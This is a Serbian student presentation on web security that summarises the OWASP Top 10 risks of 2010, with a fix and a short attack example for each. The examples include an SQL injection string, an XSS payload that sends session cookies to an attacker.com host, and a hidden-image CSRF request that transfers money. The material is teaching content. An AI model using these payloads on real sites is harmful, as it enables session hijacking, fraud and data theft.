WEB SIGURNOST

Filip Stevanović
82/2010

Tehnike napada

- U daljem tekstu su predstavljene najkorišćenije tehnike napada na Web aplikacije:
  - napadi koji se odnose na autentifikaciju;
  - napadi koji se odnose na autorizaciju;
  - napadi na klijentskoj strani;
  - napadi izvršavanja naredbi;
  - otkrivanje poverljivih informacija;
  - logički napadi.

Aspekti sigurnosti

- Napad na sigurnost – sve akcije koje se mogu okarakterisati kao opasne po sigurnost informacija i podataka.
- Sigurnosni mehanizam – mehanizam koji se implementira sa ciljem da se otkriju pretnje i napadi koje treća strana pokušava da izvrši.
- Sigurnosna usluga – mehanizam koji obezbeđuje veći stepen sigurnosti povećavajući sigurnost sistema, informacija koje su mu potrebne, kao i podataka koji su tu zapisani.

- Analiza sistema i definisanje šta je sve izloženo riziku se izvodi kroz sledeće korake:

  - identifikovanje delova koje treba zaštititi;
  - izrada popisa sadržaja i definisanje određenih mera;
  - dekompozicija aplikacije;
  - identifikovanje pretnji;
  - dokumentovanje pretnji radi daljeg praćenja, kako se ne bi ponavljale;
  - rangiranje i procena pretnji sa ciljem da se veći prioriteti daju elementima koji su najugroženiji.

OWASP

- OWASP (Open Web Application Security Project) je organizacija koja se bavi pronalaženjem i rešavanjem problema vezanih za sigurnost Web aplikacija i praktično postavlja standarde u ovoj oblasti.

- Rezultat njihovog rada je čuveni dokument nazvan OWASP Top 10, koji definiše pravila i smernice za zaštitu od kritičnih propusta u Web aplikacijama.

- Osim samog OWASP-a, na ovom području je svoj doprinos pokazala još jedna organizacija – WASC (Web Application Security Consortium).

- U ovim organizacijama nalazi se veliki broj stručnjaka iz celog sveta, kao i predstavnika drugih organizacija, koji daju uputstva za najbolju praksu za zaštitu Web aplikacija od različitih vrsta ranjivosti i napada, a objavljuju ih u svojim dokumentima na internetu.

- OWASP takođe daje i preporuke o alatima koje možemo iskoristiti za testiranje sigurnosti Web aplikacija. Jedan od takvih alata je Paros, koji je napisan u Javi i omogućava izmene u HTTP i HTTPS prometu između klijenta i servera.

OWASP TOP 10

- OWASP Top 10 je lista najkritičnijih sigurnosnih rizika prema mišljenju OWASP zajednice. Prvo izdanje ovog dokumenta je izdato 2003. godine.

- Manje izmene su nastupile 2004. i 2007. godine, a trenutno aktuelna verzija je objavljena 19. aprila 2010. godine.

- Ovaj projekat referenciran je u mnogim standardima, knjigama, alatima i organizacijama.

- Bitno je napomenuti da OWASP grupa kod Top 10 liste eksplicitno navodi da to nije lista najčešćih propusta u aplikacijama, već lista propusta sa najvećim rizikom.

- Sledi model po kome se utvrđuje stepen rizika za potencijalni propust u Web aplikacijama:

Rizik = Verovatnoća * Uticaj.

- Koraci za utvrđivanje ozbiljnosti rizika su sledeći:
  - identifikovanje rizika;
  - faktori za procenu verovatnoće (faktori vezani za napadača i faktori ranjivosti);

- faktori za procenu uticaja;
- tehnički faktori;
- poslovni faktori;
- utvrđivanje jačine rizika;
- utvrđivanje šta treba popraviti;
- prilagođavanje modela za utvrđivanje rizika.

- Popis 10 najvećih sigurnosnih rizika:
  - Injection;
  - Cross-Site Scripting (XSS);
  - Broken Authentication and Session Management;
  - Insecure Direct Object Reference;
  - Cross-Site Request Forgery (CSRF);
  - Security Misconfiguration;
  - Insecure Cryptografic Storage;
  - Failure to Restrict URL Access;
  - Insufficient Transport Layer Protection;
  - Unvalidated Redirects and Forwards.

Injection

- Injection propusti, kao što su SQL ili LDAP injection, događaju se kada se interpreteru pošalju nesigurni podaci kao deo naredbe ili upita.

- Napad je lak, napadač šalje jednostavne tekstualne napade koji iskorišćavaju sintaksu korisnikovog interpretera.

- Uticaj je ozbiljan, može se potpuno preuzeti kontrola od strane napadača, svi podaci mogu biti ukradeni, izmenjeni ili obrisani.

- Solucija: Koristiti specijalni API koji potpuno izbegava interpreter ili ima parametrizovane naredbe. Ako nije dostupan, skloniti specijalne znakove iz upita pazeći na specifičnosti samog interpretera. Može se koristiti i validacija ulaza u input poljima, kako bi se izbeglo unošenje određenih specijalnih znakova.

- Primer napada:

Dat je upit

```
String query = "SELECT * FROM accounts
WHERE custID='" +
request.getParameter("id") +"'";
```

Napadač u odgovarajuće polje unese `or '1'='1` i time dobije listu svih stavki u bazi.

Cross-Site Scripting (XSS)

- XSS greške događaju se kada aplikacija uzme nesigurne podatke i prosledi ih Web browser-u bez ispravne validacije.
- Napad je srednje težak, napadač šalje tekstualne skripte koje iskorišćavaju interpreter u browser-u.
- Uticaj je umeren, napadač može da ukrade sesiju korisnika, da promeni stranicu, umetne neželjeni sadržaj, preusmeri korisnika itd.

- Solucija: Nesigurne podatke držati podalje od aktivnog sadržaja browser-a. Izbeći smeštanje sadržaja u HTML kontekst. Validacija se takođe preporučuje, ali nije sigurna odbrana, jer mnoge aplikacije moraju prihvatati specijalne znake.

- Primer napada:

Neka je dat kod

```
(String)page+="<inputname='creditcard’
type='TEXT‘  value='"+request.getParameter("CC")
+ "'>";
```

Napadač modifikuje *"CC"* na sledeći način da iskoristi korisnikovu sesiju:

```
'><script>document.location='http://www.attacke
r.com/cgibin/cookie.cgi?foo='+document.cookie</
script>'
```

Broken Auth. and Session Man.

- Funkcije u aplikacijama koje su vezane za autentifikaciju i upravljanje sesijama su često pogrešno implementirane, pa se može kompromitovati korisnikov identitet.

- Napad je srednje težak, napadač koristi propuste u autentifikaciji ili upravljanju sesijama kako bi se predstavio kao neka druga osoba.

- Uticaj je ozbiljan, ovakav napad može dovesti do pristupa nekim ili čak svim korisničkim računima, a napadač računom može da raspolaže isto kao i žrtva čiji je račun ukraden.

- Solucija: Primarna preporuka je da organizacija programerima pruži jedinstven skup jakih sistema za upravljanje autentifikacijom i sesijama. Uz to, veliki napor treba uložiti u sprečavanje XSS napada koji se mogu iskoristiti za krađu ID-a sesije.

- Primer napada sadrži jedan od tri moguća scenarija:
  - Stranica stavlja ID sesije u URL, a korisnik nekom prijatelju pošalje link bez znanja da mu je dao pristup celoj sesiji (npr. `http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii`).
  - Timeout aplikacija nije dobro podešen (pri zatvaranju browser-a bez prethodne odjave, napadač može da koristi isti računar sa istim browser-om sat vremena kasnije, npr).
  - Napadač dobija pristup bazi sa lozinkama koje nisu kriptovane i jasno su vidljive.

Insecure Direct Object Ref.

- Direct Object Reference javlja se kada programer izloži unutrašnji objekat kao što je fajl, folder ili ključ baze podataka.
- Napad je lak, napadač koji je autorizovan korisnik sistema promeni parametar koji ga direktno referencira na neki drugi objekat za koji nije autorizovan.
- Uticaj je umeren, ovakav propust može kompromitovati sve podatke koji su referencirani preko parametara.

- Solucija: Treba sprovesti zaštitu svakog objekta koji je dostupan korisniku. To se može izvršiti na dva načina:

  - korišćenje po korisniku ili po sesiji indirektnih referenci na objekte. Na primer, umesto da se korisniku ponudi lista ključeva prema resursima, ponude mu se brojevi od 1 do 6 kako bi odabrao resurs. Nakon toga aplikacija mapira korisnikovu indirektnu referencu na stvarni ključ u bazi podataka;
  - provera prava pristupa. Svako korišćenje direktne reference na objekat mora uključiti i proveru prava pristupa kako bi se osiguralo da je korisnik autorizovan za pristup željenom objektu.

- Primer napada:

Neka je dat kod

```
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt=connection.prepareStatement(query , … );
pstmt.setString(1,request.getParameter("acct"));
ResultSetresults = pstmt.executeQuery();
```

Napadač modifikuje *"acct"* parametar u browser-u kako bi poslao bilo koji broj. Ako se ne izvrši verifikacija, napadač može pristupiti računu bilo kojeg korisnika, a ne samo svom (kome bi trebao da pristupi).

```
http://example.com/app/accountInfo?acct=nijeMojRacun
```

CSRF

- CSRF napad prisiljava ulogovan browser žrtve da ranjivoj Web aplikaciji pošalje zlonamerni HTTP zahtev koji uključuje žrtvin kolačić sesije i bilo koje druge informacije za uspešnu autentifikaciju.

- Napad je srednje težak, napadač šalje zlonamerni HTTP zahtev da prevari žrtvu na slanje istih putem tagova za slika, XSS-a i mnogih drugih tehnika.

- Uticaj je umeren, napadač može promeniti bilo koji podatak ili izvršiti bilo koju operaciju za koju je napadnut autorizovani korisnik ovlašćen.

- Solucija: Uključiti nepredvidljive tokene u telo ili URL svakog HTTP zahteva. OWASP-ov CSRF Guard se može koristiti kako bi automatski uključio takve tokene u Java, .NET ili PHP aplikacije. Takođe, OWASP-ov ESAPI uključuje generatore tokena i validatore koje programeri mogu koristiti kako bi zaštitili svoje transakcije.

- Primer napada:

Dat je zahtev bez tokena

```
http://example.com/app/transferFunds?amount
=1500&destinationAccount=4673243243
```

Napadač napravi zahtev koji će prebaciti novac sa žrtvinog računa na svoj račun, pa takav zahtev ugradi u razna polja (slike, iframe) koji su na stranicama pod napadačevom kontrolom.

```
<img
src="http://example.com/app/transferFunds?a
mount=1500&destinationAccount=attackersAcct
#" width="0" height="0"/>
```

Ako žrtva napada poseti bilo koju takvu napadačevu stranicu dok je istovremeno autorizovan na stranici s ranjivom aplikacijom (ovde je to example.com), svaki zlonamerni zahtev će sadržati i korisnikove podatke o sesiji (koje browser šalje automatski), što će prouzrokovati neželjeno odobravanje zahteva.

Security Misconfiguration

- Dobra sigurnost zahteva sigurnu konfiguraciju za aplikacije, aplikacione servere, Web servere i servere baze podataka.
- Napad je lak, napadač pristupa računarima, nezakrpljenim manama, nezaštićenim fajlovima i folderima kako bi prikupio znanje o sistemu.
- Uticaj je umeren, napadač poseduje pristup sistemskim podacima ili funkcionalnostima. Ređe se dešava preuzimanje celog sistema od strane napadača.

- Solucija: Preporuke za sprečavanje ovakve vrste napada se sastoje u pridržavanju sledećih tačaka:

  - Iterativni proces učvršćivanja preko koga se lako i brzo u rad može pustiti novo okruženje koje je pravilno podešeno.
  - Puštanje u rad svih novih sigurnosnih zakrpi u kratkom roku, i to svakom postavljenom okruženju.
  - Snažna arhitektura aplikacija koja pruža dobro odvajanje i sigurnost između komponenti.
  - Periodična skeniranja i revizije kako bi se pomoglo u otkrivanju budućih grešaka u konfiguraciji ili zakrpa koje nedostaju.

- Primer napada uključuje neki od četiri data scenarija:
  - Naša aplikacija zavisi od nekog snažnog framework-a. XSS mane su otkrivene u tom framework-u. Objavljena je zakrpa, ali nije izvršeno potrebno ažuriranje.
  - Administratorska konzola na aplikacionom serveru je automatski instalirana i nije uklonjena. Default-ne vrednosti nisu promenjene. Napadač može da se uloguje sa default-nom lozinkom i preuzme sistem.
  - Izlistavanje foldera nije onemogućeno na serveru. Napadač otkrije da jednostavno može izlistati fordere kako bi pronašao bilo koju datoteku na sistemu. On pronalazi i skida sve kompajlirane Java klase, otkriva ih i ima ceo kod aplikacije. Tada, na primer, pronalazi ozbiljnu manu u kodu aplikacije koju može dalje da iskoristi.
  - Konfiguracija aplikacionog servera dozvoljava da detaljne informacije o greškama dospeju do korisnika. Napadači takve dodatne informacije vole da imaju kako bi otkrili dublji uzrok problema.

Insecure Crypt. Storage

- Mnoge Web aplikacije ne zaštićuju osetljive podatke (npr. informacije o kreditnim karticama ili informacije o autentifikaciji) na ispravan način, sa prikladnom enkripcijom ili hash-iranjem.

- Napad je težak, napadači obično ne mogu da razbiju enkripciju, ali mogu da pronađu ključeve, dobiju podatke izvornog teksta ili prustup kroz kanale koji se automatski dekriptuju.

- Uticaj je ozbiljan, izlažu se osetljivi podaci.

- Solucija: Razmotriti sve pretnje i osigurati da se svi podaci kriptuju tako da se zaštite od tih pretnji, osigurati da su kopije podataka kriptovane, a njihove ključeve zasobno čuvati, zatim osigurati snažan algoritam za kriptovanje i da su lozinke hash-irane tim algoritmom.

- Primer napada:

Aplikacija kriptuje informacije o kreditnim karticama i pohranjuje ih u bazu podataka. Ako je baza podešena da automatski dekriptuje te informacije, pomoću SQL injekcije podaci mogu biti izloženi zloupotrebi. Moguće je i da baza koristi nesigurni hash za kriptovanje, pa umesto 3000 godina, napadaču je potrebno četiri nedelje za proboj grubom silom.

Failure to Restrict URL Acc.

- Mnoge Web aplikacije proveravaju URL prava pristupa pre uključivanja zaštićenih linkova. Ali aplikacije treba da vrše istu proveru svaki put kada se pristupa takvim stranicama.

- Napad je lak, napadač koji je autorizovani korisnik može lako promeniti URL na neku privilegovanu stranicu.

- Uticaj je umeren, ovakvi propusti omogućavaju pristup neautorizovanim funkcionalnostima. Administrativne akcije su ključne mete za ovakve napade.

- Solucija: Bez obzira na mehanizam zaštite, sve sledeće zaštite su preporučene:
  - Autorizacione i autentifikacione politike treba da budu bazirane na ulogama kako bi se smanjio napor potreban za održavanje tih politika.
  - Politike bi trebalo da budu visoko konfigurabilne.
  - Mehanizmi bi po default-nim podešavanjima trebalo da spreče sav pristup i da zahtevaju eksplicitna prava za pojedine korisnike i uloge, i to za pristup svakoj stranici.

- Primer napada:

Neka oba URL-a zahtevaju autentifikaciju:

`http://example.com/app/getappInfo`

`http://example.com/app/admin_getappInfo`

Ako napadač nije autorizovan a dozvoli mu se pristup do bilo koje navedene stranice, to je propust jer se dozvolio neautorizovani pristup.

Ako autentifikovani korisnik, ali bez administratorskih prava može pristupiti *"admin_getAppInfo"* stranici, ovo je takođe propust, a napadač bi mogao da pronađe još administratorskih stranica koje su nepravilno zaštićene.

Insuffic. Trans. Layer Protection

- Aplikacije često ne uspevaju da zašte poverljivost i integritet osetljivog mrežnog prometa.
- Napad je težak, teško je praćenje ispravnog mrežnog prometa dok korisnik pristupa ranjivoj stranici.
- Uticaj je umeren, ovakav propust može dovesti do izlaganja podataka korisnika, pa i krađe računa. Slabo podešavanje SSL-a može dovesti do phishing-a i MITM napada.

- Solucija: Obezbediti zaštitu transportnog sloja. Najlakše bi bilo da se zahteva SSL za celo Web mesto.

- Primer napada:

Stranica ne koristi SSL za sve stranice koje zahtevaju autentifikaciju, pa napadač jednostavno prati mrežni promet (npr. WLAN) i promatra session kolačić od žrtve. Napadač tada ponovno šalje ovaj kolačić i preuzima sesiju žrtve. Može se desiti i da stranica ima nepropisno konfiguriran SSL certifikat zbog čega korisnikov browser javlja upozorenja. Da bi mogao da nastavi, korisnik mora da prihvati ta upozorenja, na šta se navikne i posle nekog vremena rutinski klikne na slično upozorenje koje ga preusmerava na phishing stranu, pa na toj strani odaje svoje podatke.

Unvalidated Redirects and FWs

- Web aplikacije često preusmeravaju ili prosleđuju korisnike na druge stranice i Web mesta, pa koriste neproverene podatke kako bi utvrdile odredišne stranice.
- Napad je srednje težak, napadač se poveže na neproverene linkove i navede žrtvu da ih klikne, a pri tome žrtva ne sumnja ništa, jer je to link na validnu stranicu.
- Uticaj je umeren, ovakvi propusti mogu da pokušaju da instaliraju malware ili da prevare žrtvu na odavanje lozinki i ostalih poverljivih informacija.

- Solucija: Izbegavati preusmeravanja i prosleđivanja, a ako se koriste, ne uključivati korisničke parametre u računanju odredišta.

- Primer napada se sastoji iz nekog od dva scenarija:
  - Aplikacija ima stranicu koja se zove *"redirect.jsp"* i koja uzima jedan parametar pod nazivom *"url"*. Napadač napravi maliciozan URL i preusmeri korisnike na malicioznu stranicu koja izvršava phishing i instalira malware.
  - Neke stranice koriste parametar kako bi označile kuda bi korisnik trebao da bude poslat ako je transakcija uspešno izvršena. U ovom slučaju napadač stvara URL koji će proći proveru prava pristupa aplikacije i onda proslediti napadača na administrativne funkcije kojima inače ne sme da ima pristup.

Hvala na pažnji